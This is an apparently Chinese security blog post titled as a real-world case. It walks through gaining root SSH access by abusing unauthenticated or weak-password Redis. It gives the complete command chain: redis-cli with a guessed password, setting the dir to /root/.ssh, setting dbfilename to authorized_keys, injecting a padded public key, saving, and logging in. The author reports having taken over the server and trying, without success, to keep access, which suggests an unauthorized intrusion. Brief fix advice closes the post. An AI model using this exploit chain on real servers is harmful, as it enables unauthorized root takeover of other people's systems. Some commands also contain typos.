【实战】redis未授权实现ssh登录

0x01 漏洞描述

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

0x02 相关阅读

-Redis未授权利用-安全小天地
-Redis未授权利用-安全小天地
沐寒的头像-安全小天地大咖2023年2月1日 13:53
015813

0x03 SSH公钥创建

redis常用命令

redis常用命令

config set dir /home.test 设置工作目录
config set dbfilename redis.rdb 设置备份文件名
config get dir 检查工作目录是否设置成功
coonfig get dbfilename 检查备份文件名是否设置成功
save 进行备份操作

ssh-keygen公钥,连接成功(开启22端口且权限够大的情况下写公钥)

总得流程思路

config set dir /root/.ssh #切换到密钥路径 
config set dbfilename authorized_keys #写入文件名
set miyao "\n\n\n你的密钥\n\n\n" #写入密钥
save #保存
ssh -i id_rse root@IP #连接ssh

0x04 渗透流程

测试未授权,以及爆破弱口令

图片[1]-【实战】redis未授权实现ssh登录-安全小天地
  • 批量测试脚本,使用python2运行,需要测试的ip放入redis.txt中

更新版本,支持多线程,python3

使用命令进行连接,因为存在密码,这里需要使用-a参数

redis-cli -h xxx.xx.xx.x -a 123456
图片[2]-【实战】redis未授权实现ssh登录-安全小天地

创建公钥

在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

ssh-keygen -t rsa,创建期间直接回车,在/root/.ssh目录下面会自动创建两个文件,分别是本地的公钥和私钥:

图片[3]-【实战】redis未授权实现ssh登录-安全小天地

导出key

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

把公钥key写入redis的键值key中

cat key.txt|redis-cli -h xx.xx.xx.xx -x set key
图片[4]-【实战】redis未授权实现ssh登录-安全小天地

设置保存的文件路径,这里在redis里面设置

config  set  dir /root/.ssh  
图片[5]-【实战】redis未授权实现ssh登录-安全小天地

通过ssh公钥认证登录目标机器

图片[6]-【实战】redis未授权实现ssh登录-安全小天地

ok,至此成功拿下服务器

可惜就是,宝塔面板一直登录不上,没办法继续做权限维持

图片[7]-【实战】redis未授权实现ssh登录-安全小天地
图片[8]-【实战】redis未授权实现ssh登录-安全小天地

0x05 总结

本文就是利用redis未授权,进行ssh公钥写入,然后远程登录获取权限

因为该站点暂无网站搭建等,没办法进行shell,点到为止吧

修复建议

1、禁止外部访问Redis服务端口;

2、禁止使用root权限启动redis服务;

3、配置安全组,限制可连接Redis服务器的IP。

参考文章:https://blog.51cto.com/u_15878568/5955724

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 共1条

请登录后发表评论

    请登录后查看评论内容